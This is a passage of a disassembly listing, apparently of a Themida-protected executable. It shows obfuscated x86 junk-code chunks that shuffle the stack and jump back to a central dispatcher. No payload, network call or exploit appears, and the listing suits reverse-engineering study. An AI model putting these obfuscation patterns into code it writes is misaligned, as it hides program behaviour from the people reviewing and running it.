ebx, 68236284h sub ebx, esi jmp loc_5541EB ; --------------------------------------------------------------------------- loc_558567: ; CODE XREF: sub_556A70+21CEj mov [esp+4+var_4], ecx jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_55856F: ; CODE XREF: sub_552B74+543Bj xor esi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] mov [esp+4+var_4], edx jmp loc_55B7CE ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5521AC loc_55857D: ; CODE XREF: sub_5521AC+31DEj inc ah push cx mov ch, 75h add ah, ch pop cx sub bl, ah pop eax sub bl, 9 add bl, 2Ch sub bl, al sub bl, 2Ch push edx mov dh, 9 jmp loc_55CF71 ; END OF FUNCTION CHUNK FOR sub_5521AC ; --------------------------------------------------------------------------- loc_55859D: ; CODE XREF: Themida_:0055230Dj xor eax, edx pop edx jmp loc_55AC2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_5585A5: ; CODE XREF: sub_5584F8-2095j pop ebx add ebx, 4 jmp loc_551B97 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5585B1: ; CODE XREF: sub_556A70+3ABEj pop eax sub ebp, 6802369Ch add ebp, 69553AD8h jmp loc_556426 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559B2A loc_5585C3: ; CODE XREF: sub_559B2A+14j pop edx add edi, ebx push [esp+4+var_4] jmp loc_551E81 ; END OF FUNCTION CHUNK FOR sub_559B2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553651 loc_5585CE: ; CODE XREF: sub_553651+69E9j push esp pop ecx add ecx, 4 push 32A5h mov [esp+0Ch+var_C], esi push eax push 23CB0614h pop eax shl eax, 5 xor eax, 4FF99005h push edx mov edx, eax mov esi, edx pop edx pop eax shl esi, 4 inc esi add esi, 966AD7B3h add ecx, esi mov esi, [esp+0Ch+var_C] add esp, 4 xor ecx, [esp+8+var_8] xor [esp+8+var_8], ecx xor ecx, [esp+8+var_8] pop esp push ecx push edi mov edi, 1D6E757Eh mov ecx, edi pop edi add eax, ecx pop ecx jmp loc_551CE3 ; END OF FUNCTION CHUNK FOR sub_553651 ; --------------------------------------------------------------------------- loc_558625: ; CODE XREF: Themida_:005555A9j push edi mov edi, 5FB05FDCh mov edx, edi pop edi shr edx, 3 and edx, 100C0473h add edx, 1 neg edx jmp loc_555858 ; --------------------------------------------------------------------------- loc_558641: ; CODE XREF: Themida_:00557C5Bj add ebx, 0CD631432h add edx, ebx pop ebx jmp loc_555709 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55864F: ; CODE XREF: sub_556A70+DCj mov edi, 35E366AFh push eax mov eax, 22085CFFh or edi, eax pop eax neg edi jmp loc_55CAA8 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov cx, [esp] push eax push 1E2Fh jmp loc_55C767 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558673: ; CODE XREF: sub_556A70+471Bj add ebx, 47FB37A2h jmp sub_550BFD ; --------------------------------------------------------------------------- loc_55867E: ; CODE XREF: sub_556A70+51CFj and eax, 0EF06814h neg eax inc eax sub eax, 0FD6FDFF9h sub edi, eax jmp loc_55AB94 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559F87 loc_558692: ; CODE XREF: sub_559F87-1612j sub ebx, 4FDD5675h add ecx, ebx pop ebx xchg ecx, [esp+0] pop esp add al, bl add al, 6Eh sub esp, 4 mov [esp+0], ecx push 536Ah mov [esp+0], edx mov dl, 0BAh jmp loc_557E84 ; END OF FUNCTION CHUNK FOR sub_559F87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554299 loc_5586B8: ; CODE XREF: sub_554299+6j or ebp, 4AE9328Eh add ebp, 570F46D7h neg ebp jmp loc_55C5F0 ; END OF FUNCTION CHUNK FOR sub_554299 ; --------------------------------------------------------------------------- loc_5586CB: ; CODE XREF: Themida_:0055C971j add ebp, esi add ebp, 64903E5Bh pop esi xchg ebp, [esp] mov esp, [esp] mov ax, [esp] push ebp push 1DBCh mov [esp], esp push ecx mov ecx, 4 add [esp+4], ecx mov ecx, [esp] add esp, 4 mov ebp, [esp] add esp, 4 add ebp, 4 push edx mov edx, 4BF159B3h xor edx, 78C01204h neg edx xor edx, 0CCCEB44Bh add ebp, edx pop edx push 4B9h mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mul cl movzx cx, ah push 2F4Ah mov [esp], ebp jmp loc_55CD07 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55874B: ; CODE XREF: sub_556A70-1EE1j sub ebx, 156377BDh add ebx, edi jmp loc_553BE9 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558758: ; CODE XREF: Themida_:0055B3B9j add ch, 0C2h push small 5111h mov [esp], ax mov ah, 0D5h xor ch, ah pop ax neg ch push edx jmp loc_551383 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558771: ; CODE XREF: sub_556A70+5109j mov ebp, esp push edx mov edx, 4 jmp loc_554E4F ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55877E: ; CODE XREF: Themida_:0055B14Ej btr [esp], ax pushf jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_558789: ; CODE XREF: sub_5584F8+1447j mov edi, [esp+4+var_4] add esp, 4 jmp loc_558C43 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_558794: ; CODE XREF: Themida_:00553EF0j push esi mov esi, esp add esi, 4 push ecx push 4 pop ecx sub esi, 6C336D6Ch jmp loc_5517FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5539DB loc_5587AF: ; CODE XREF: sub_5539DB+9164j pop ebx sub ebx, 15D00457h push ebx pop esi pop ebx xor esi, 0D610C28h sub esi, 67EF4FD8h dec esi push ebx mov ebx, 205223C2h shl ebx, 8 inc ebx shl ebx, 7 or ebx, 158A40E4h xor ebx, 0A33FF33Bh xor esi, ebx pop ebx jmp loc_551CB8 ; END OF FUNCTION CHUNK FOR sub_5539DB ; --------------------------------------------------------------------------- loc_5587E7: ; CODE XREF: Themida_:0055937Fj push eax mov eax, 690D09ACh mov edi, eax pop eax jmp loc_5599FD ; --------------------------------------------------------------------------- lodsd xor eax, ebx sub esp, 4 mov [esp], ecx push eax push esi jmp loc_55B207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558805: ; CODE XREF: sub_556A70-1030j jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55880A: ; CODE XREF: Themida_:00554626j mov edx, esp push esi mov esi, 4 add edx, esi jmp loc_553506 ; --------------------------------------------------------------------------- loc_558819: ; CODE XREF: Themida_:00558547j pop esi jmp near ptr unk_551C43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553B16 loc_55881F: ; CODE XREF: sub_553B16-469j xchg ecx, [esp+4+var_4] mov esp, [esp+4+var_4] xor edx, edx sub esp, 4 mov [esp-4+arg_0], ebx push ebp mov ebp, 448D6DCDh sub [esp+arg_0], 50A97A7Eh jmp loc_55A84A ; END OF FUNCTION CHUNK FOR sub_553B16 ; --------------------------------------------------------------------------- push 6248h push 3C71h sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_553925 ; --------------------------------------------------------------------------- loc_55885F: ; CODE XREF: Themida_:00555986j mov edx, [esp] add esp, 4 movzx eax, al jmp loc_55AA4C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55886D: ; CODE XREF: sub_556A70-5545j sub ch, 8Ah xor ch, 96h not ch and ch, 0FEh jmp sub_553E75 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CC90 loc_55887D: ; CODE XREF: sub_55CC90-A3F2j mov [esp+0Ch+var_C], eax mov eax, esp add eax, 4 push ecx mov ecx, 4 add eax, ecx pop ecx xchg eax, [esp+0Ch+var_C] pop esp add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+8+var_8] pop esp sub esp, 4 mov [esp+8+var_8], eax push ecx push eax mov eax, 7F510D17h jmp sub_552634 ; END OF FUNCTION CHUNK FOR sub_55CC90 ; --------------------------------------------------------------------------- loc_5588BC: ; CODE XREF: Themida_:0055822Cj neg edx xor edx, 41DB669Ah xor edx, 55576E36h jmp loc_55CE6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5588CF: ; CODE XREF: sub_556A70+A82j or edi, 39B44324h shl edi, 4 xor edi, 9199CFF0h xor ebx, edi pop edi and eax, ebx mov ebx, [esp-0Eh+arg_8+2] jmp loc_5544D9 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55AA5F loc_5588EB: ; CODE XREF: sub_55AA5F-6D76j xchg edi, [esp+0] jmp loc_550E79 ; END OF FUNCTION CHUNK FOR sub_55AA5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5588F3: ; CODE XREF: sub_556A70+50Aj add ebx, 4 xchg ebx, [esp-10h+arg_C] pop esp dec ebx jmp loc_550B27 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55292B loc_558903: ; CODE XREF: sub_55292B+14j mov dl, bl jmp loc_55799E ; END OF FUNCTION CHUNK FOR sub_55292B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55890A: ; CODE XREF: sub_556A70+3653j mov eax, 0 add eax, ebx push edx push eax mov eax, 0 mov edx, eax jmp loc_556265 ; --------------------------------------------------------------------------- loc_55891F: ; CODE XREF: sub_556A70+2FB8j pop edx pop ebx jmp loc_5561BC ; --------------------------------------------------------------------------- loc_558926: ; CODE XREF: sub_556A70+F21j push esi mov esi, 74513D0Dh push edi jmp loc_551F5D ; --------------------------------------------------------------------------- loc_558932: ; CODE XREF: sub_556A70+4FC6j add edx, eax pop eax mov esi, edx pop edx sub eax, 2123801h sub eax, esi add eax, 2123801h mov esi, [esp+18h+var_18] jmp loc_55508E ; --------------------------------------------------------------------------- loc_55894C: ; CODE XREF: sub_556A70-3A89j movzx cx, al push cx pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_558958: ; CODE XREF: sub_556A70+37CBj mov [esp+0Ah+var_C+2], edi mov edi, 4 sub eax, 1BE040E6h add eax, edi jmp loc_55C9CB ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559F87 loc_55896C: ; CODE XREF: sub_559F87+Cj shr ebx, 2 or ebx, 4FDD5677h jmp loc_558692 ; END OF FUNCTION CHUNK FOR sub_559F87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_55897A: ; CODE XREF: sub_5584F8-77E1j push 4914h mov [esp+8+var_8], ebx pop edx pop ebx mov eax, edx pop edx push [esp-4+arg_0] pop ebp jmp loc_5556F4 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_558990: ; CODE XREF: Themida_:00557CB7j mov esi, esp jmp loc_555B37 ; --------------------------------------------------------------------------- loc_558997: ; CODE XREF: Themida_:005548E3j mov ebx, 599C79D8h xor ebx, esi pop esi add eax, ebx jmp loc_5591CC ; --------------------------------------------------------------------------- mov cx, [esp] push edx push 0C25h mov [esp], esp push edx push edi push 474577EBh pop edi add edi, 2E2936CDh jmp loc_553E37 ; --------------------------------------------------------------------------- loc_5589C6: ; CODE XREF: Themida_:0055AD1Fj pop ebx push 62DAh mov [esp], edi push edx push 5C5C2700h jmp loc_55A240 ; --------------------------------------------------------------------------- loc_5589DA: ; CODE XREF: Themida_:0055B968j push eax mov eax, 69954E56h shr eax, 7 jmp loc_557D9C ; --------------------------------------------------------------------------- loc_5589E8: ; CODE XREF: Themida_:0055B84Aj pop edi add ebp, esi push eax mov eax, 4AD74A00h sub ebp, eax pop eax push dword ptr [esp] pop esi add esp, 4 add ebp, 2 xchg ebp, [esp] pop esp jmp loc_5564DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55A748 loc_558A07: ; CODE XREF: sub_55A748+19j sub dh, 7 xor bh, dh mov edx, [esp+4+var_4] jmp loc_5545E7 ; END OF FUNCTION CHUNK FOR sub_55A748 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558A14: ; CODE XREF: sub_556A70-424Fj add edx, 4 sub esp, 4 mov [esp-0Ch+arg_8], ecx mov ecx, 4 add edx, ecx pop ecx xor edx, [esp-10h+arg_C] xor [esp-10h+arg_C], edx xor edx, [esp-10h+arg_C] mov esp, [esp-10h+arg_C] jmp loc_5539B4 ; --------------------------------------------------------------------------- loc_558A39: ; CODE XREF: sub_556A70-6FEj add edx, 4 sub edx, 4 xchg edx, [esp-16h+arg_10+2] pop esp mov [esp-1Ah+arg_14+2], eax push 5D25h mov [esp-16h+arg_10+2], edx push edi mov edi, 5DA10806h jmp loc_55805B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558A5C: ; CODE XREF: Themida_:00559BADj add edi, 0FFFFFFFFh sub edi, 751511BDh push esi mov esi, 4C2D6D4Ah jmp loc_55BF40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558A73: ; CODE XREF: sub_556A70+4C0j sub ebx, 61004Ah mov edx, [esp-8+arg_4] add esp, 4 jmp loc_5569A8 ; --------------------------------------------------------------------------- loc_558A87: ; CODE XREF: sub_556A70+331j add bl, 3Eh movzx eax, al pop dword ptr [edi+eax*4] jmp loc_551662 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_558A95: ; CODE XREF: sub_5566B9-1D2Fj add ecx, edx pop edx and eax, ecx pop ecx shr eax, 0Bh xor ecx, eax sub esp, 4 mov [esp+0Ch+var_C], ebx push ecx mov ecx, 37502797h sub [esp+10h+var_C], ecx pop ecx pop eax push 3FF5h mov [esp+0Ch+var_C], ebp mov ebp, 37502797h push ebp mov ebp, 56721FCAh inc ebp xor ebp, 3A1442D3h add eax, ebp jmp loc_55B1EF ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- loc_558AD3: ; CODE XREF: Themida_:0055C97Fj mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_5528AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558AE3: ; CODE XREF: sub_556A70-FECj or [edi+1Ch], edx pop edx ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_558AE7 proc near ; CODE XREF: sub_556A70-52Ej var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00554A45 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00555830 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00558166 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0055CA8B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055CF56 SIZE 00000007 BYTES sub esp, 4 mov [esp+4+var_4], esi jmp loc_558166 sub_558AE7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558AF2: ; CODE XREF: sub_556A70+384Cj pop ebx push edx mov edx, 705259E6h xor ecx, edx mov edx, [esp-0Ch+arg_8] add esp, 4 jmp loc_5541C3 ; --------------------------------------------------------------------------- loc_558B06: ; CODE XREF: sub_556A70+35D3j mov esi, 2 add edx, esi pop esi push edx push [esp-10h+arg_10] pop edx jmp loc_55925A ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558B19: ; CODE XREF: Themida_:00559EB1j sub al, bh jmp loc_55C4F3 ; --------------------------------------------------------------------------- loc_558B20: ; CODE XREF: Themida_:00554276j mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_555A45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558B3D: ; CODE XREF: sub_556A70-17EAj pop esp mov [esp+4+var_4], eax push ebx mov ebx, 7AFC1C5Ch mov eax, ebx pop ebx sub [esp+4], eax pop eax jmp loc_550A46 ; --------------------------------------------------------------------------- loc_558B54: ; CODE XREF: sub_556A70+21BEj add esi, 4 add esi, 4 jmp loc_558EB2 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5567EA loc_558B65: ; CODE XREF: sub_5567EA-1206j and eax, ebx push dword ptr [esp+0] push [esp+4+var_4] jmp loc_55C842 ; END OF FUNCTION CHUNK FOR sub_5567EA ; --------------------------------------------------------------------------- loc_558B72: ; CODE XREF: Themida_:0055CC39j not edx push edx push ecx pop edx pop ecx jmp loc_555E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556769 loc_558B7D: ; CODE XREF: sub_556769-2FB7j pop ebx sub ebp, edi sub ebp, 34A83382h pop edi add esi, ebp pop ebp xchg esi, [esp-8+arg_4] mov esp, [esp-8+arg_4] dec [esp-8+arg_4] pushf jmp loc_55BE98 ; END OF FUNCTION CHUNK FOR sub_556769 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558B99: ; CODE XREF: sub_556A70-4DF0j sub ecx, esi jmp loc_55B4ED ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558BA0: ; CODE XREF: Themida_:005569CBj sub al, bl push 57E3h mov [esp], ebx mov bh, 93h xor bh, 2Dh jmp loc_553621 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_558BB4: ; CODE XREF: sub_552B74+701j sub edi, edx add edi, 12747E6Dh mov edx, [esp+8+var_8] add esp, 4 sub edi, 4BD13409h push ebx mov ebx, 2038562Fh and ebx, 301D3252h and ebx, 0F826CBFh sub ebx, 0ADA19B34h jmp loc_552384 ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558BE5: ; CODE XREF: sub_556A70-36D8j push edx mov dl, 0FCh xor bl, dl pop edx add bl, 6Ch jmp sub_55292B ; --------------------------------------------------------------------------- loc_558BF3: ; CODE XREF: sub_556A70+28Ej mov [esp-8+arg_4], ebp push [esp-8+arg_8] pop ebp pop [esp-8+arg_4] pop esp mov [esp-10h+arg_C], edx push eax pushf jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558C09: ; CODE XREF: Themida_:005582F5j mov [esp], edx mov dh, 0B3h jmp loc_55C99C ; --------------------------------------------------------------------------- loc_558C13: ; CODE XREF: Themida_:005551F2j jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5516F8 loc_558C18: ; CODE XREF: sub_5516F8+3B50j add edi, 786757B1h add edi, ecx sub edi, 786757B1h jmp loc_55AFE2 ; END OF FUNCTION CHUNK FOR sub_5516F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558C2B: ; CODE XREF: sub_556A70-4D61j push esi push esp pop esi jmp loc_558B54 ; --------------------------------------------------------------------------- loc_558C33: ; CODE XREF: sub_556A70+160Bj mov esp, [esp-8+arg_4] movsx ecx, al push 0CC8h jmp loc_558567 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_558C43: ; CODE XREF: sub_5584F8+297j pop dword ptr [esp+0] jmp loc_55B305 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_558C4B: ; CODE XREF: Themida_:005533B7j pop dword ptr [esp] mov esp, [esp] dec word ptr [esp] pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_558C5B: ; CODE XREF: Themida_:0055A8F7j add eax, edx sub eax, 2A525CFBh pop edx push ecx mov ecx, 49081FF3h shr ecx, 7 shl ecx, 2 push esi mov esi, 1A0A6507h push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_559378 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558C86: ; CODE XREF: sub_556A70-1CDEj add esp, 4 push edi mov edi, esp push 6965h mov [esp-0Eh+arg_8+2], eax mov eax, 4 add edi, eax mov eax, [esp-0Eh+arg_8+2] add esp, 4 push eax mov eax, 4 add edi, eax pop eax jmp loc_55A015 ; --------------------------------------------------------------------------- loc_558CB2: ; CODE XREF: sub_556A70-39D7j push esi mov esi, esp add esi, 4 push 2A77h mov [esp+18h+var_18], eax mov eax, 4 add esi, eax pop eax xor esi, [esp+14h+var_14] xor [esp+14h+var_14], esi xor esi, [esp+14h+var_14] mov esp, [esp+14h+var_14] push ebx mov ebx, esp push ecx mov ecx, 4 jmp loc_556C91 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558CE5: ; CODE XREF: Themida_:00553512j mov ebx, 2F592974h not ebx sub ebx, 0D0A6D687h add esi, ebx push dword ptr [esp] pop ebx add esp, 4 add esi, 2 xchg esi, [esp] pop esp jmp loc_555743 ; --------------------------------------------------------------------------- loc_558D07: ; CODE XREF: Themida_:0055AE63j inc cl jmp loc_554D62 ; =============== S U B R O U T I N E ======================================= sub_558D0E proc near ; CODE XREF: sub_55A6CD+2710j var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055133C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00552FC6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055848B SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0055B639 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055CAEE SIZE 0000001E BYTES push ebx mov ebx, 76A70431h push edx push ebp mov ebp, 7ADD44B5h or ebp, 62060534h jmp loc_55CAEE sub_558D0E endp ; --------------------------------------------------------------------------- loc_558D26: ; CODE XREF: Themida_:00556111j xchg ebx, [esp] pop esp jmp loc_557F80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558D2F: ; CODE XREF: sub_556A70-516Aj pop ecx shr eax, 0Ah jmp loc_55A1B1 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558D38: ; CODE XREF: Themida_:0055B72Bj mov edi, 7D864946h push ecx mov ecx, 18F255A3h add ecx, 509504D4h neg ecx and ecx, 3BFA30E0h jmp loc_5526E1 ; --------------------------------------------------------------------------- loc_558D56: ; CODE XREF: Themida_:00557FEEj pop esp mov dx, [esp] push ebp push esp mov ebp, [esp] add esp, 4 push edi mov edi, 1BD628DFh shl edi, 6 jmp loc_553A4D ; --------------------------------------------------------------------------- loc_558D71: ; CODE XREF: Themida_:005516F3j mov ecx, 446D111Fh sub ecx, 5F8E792Eh and ecx, 16F23556h xor ecx, 4D21554h sub esi, 55424A21h add esi, ecx jmp loc_559955 ; --------------------------------------------------------------------------- lodsb jmp loc_5593DF ; --------------------------------------------------------------------------- loc_558D9B: ; CODE XREF: Themida_:0055B513j xor bl, 0FEh push edx mov dh, bl mov al, dh jmp loc_55B044 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558DA8: ; CODE XREF: sub_556A70-E91j xor [esp-26h+arg_20+2], eax jmp loc_552059 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55699F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_558DB9: ; CODE XREF: sub_5584F8+23DBj dec edx xor edx, 548A660Bh mov ecx, edx pop edx push ebx mov ebx, 26816CCCh shr ebx, 7 add ebx, 259B2491h jmp loc_55CFA6 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_558DD7: ; CODE XREF: Themida_:00555634j sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_551F88 ; --------------------------------------------------------------------------- loc_558DF5: ; CODE XREF: Themida_:005541DDj push small 0 jmp loc_55BEA4 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 push 6925h mov [esp], ecx push esp pop ecx jmp loc_554C1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558E19: ; CODE XREF: sub_556A70-3E29j mov ebp, esp push ecx mov ecx, 4 add ebp, ecx jmp loc_5539CF ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_556656 ; --------------------------------------------------------------------------- loc_558E31: ; CODE XREF: Themida_:00556477j mov edx, 2 sub ebp, 46065F5Fh add ebp, edx push eax mov eax, 29623125h jmp loc_5537FB ; --------------------------------------------------------------------------- loc_558E49: ; CODE XREF: Themida_:0055AB1Dj inc ecx neg ecx jmp loc_55A83F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558E51: ; CODE XREF: sub_556A70+1A9Ej xor ecx, ebx pop ebx sub eax, ecx pop ecx push edi mov edi, 0BFF7A37Dh add eax, 3B47725Fh jmp loc_55A81F ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- push dword ptr [esp+4] push dword ptr [esp] push dword ptr [esp] jmp loc_5516EE ; --------------------------------------------------------------------------- loc_558E76: ; CODE XREF: Themida_:0055CFA1j add dl, 47h sub bl, dl pop edx xor dh, bl jmp loc_554A64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558E83: ; CODE XREF: sub_556A70+5B7Bj push esp pop ecx add ecx, 4 push esi mov esi, 7BE179CCh add esi, 841E8638h jmp loc_559E03 ; --------------------------------------------------------------------------- loc_558E9C: ; CODE XREF: sub_556A70-5A9Cj and eax, ecx mov ecx, [esp+8+var_8] add esp, 4 jmp loc_55B23A ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_558EAC: ; CODE XREF: sub_5566B9-5740j pop esi jmp loc_5516A6 ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558EB2: ; CODE XREF: sub_556A70+20F0j xchg esi, [esp+0] pop esp jmp loc_552873 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558EBB: ; CODE XREF: Themida_:0055446Dj mov [esp], esp jmp loc_55A4ED ; --------------------------------------------------------------------------- loc_558EC3: ; CODE XREF: Themida_:005554DDj push 3AAh jmp loc_559301 ; --------------------------------------------------------------------------- loc_558ECD: ; CODE XREF: Themida_:00553113j mov eax, [esp] push 2F7h mov [esp], ebx jmp loc_556151 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5516F8 loc_558EDD: ; CODE XREF: sub_5516F8+A935j xor eax, ecx jmp loc_55BFFE ; END OF FUNCTION CHUNK FOR sub_5516F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_558EE4: ; CODE XREF: sub_5566B9-2239j add esp, 4 mov ecx, [esp+8+var_8] push ebx mov ebx, esp push eax mov eax, 4 jmp loc_55A570 ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5539DB loc_558EFB: ; CODE XREF: sub_5539DB+6D44j and edx, 594239C7h push 39D5h jmp loc_55741D ; END OF FUNCTION CHUNK FOR sub_5539DB ; --------------------------------------------------------------------------- loc_558F0B: ; CODE XREF: Themida_:0055CCC6j push edi jmp loc_55287A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558F11: ; CODE XREF: sub_556A70-12Aj shl ebx, 4 xor ebx, 76536B60h sub ebx, 98B43CFEh sub ebx, esi pop esi add ebx, 398D7F7Ah or ebx, 22D93BC5h xor ebx, 0D144981Dh add eax, ebx pop ebx xor eax, ebp jmp loc_55A8FC ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558F3F: ; CODE XREF: Themida_:00555768j mov [esp], edx jmp loc_553BB1 ; --------------------------------------------------------------------------- loc_558F47: ; CODE XREF: Themida_:0055C946j add esp, 4 jmp loc_55BEE1 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55185F ; 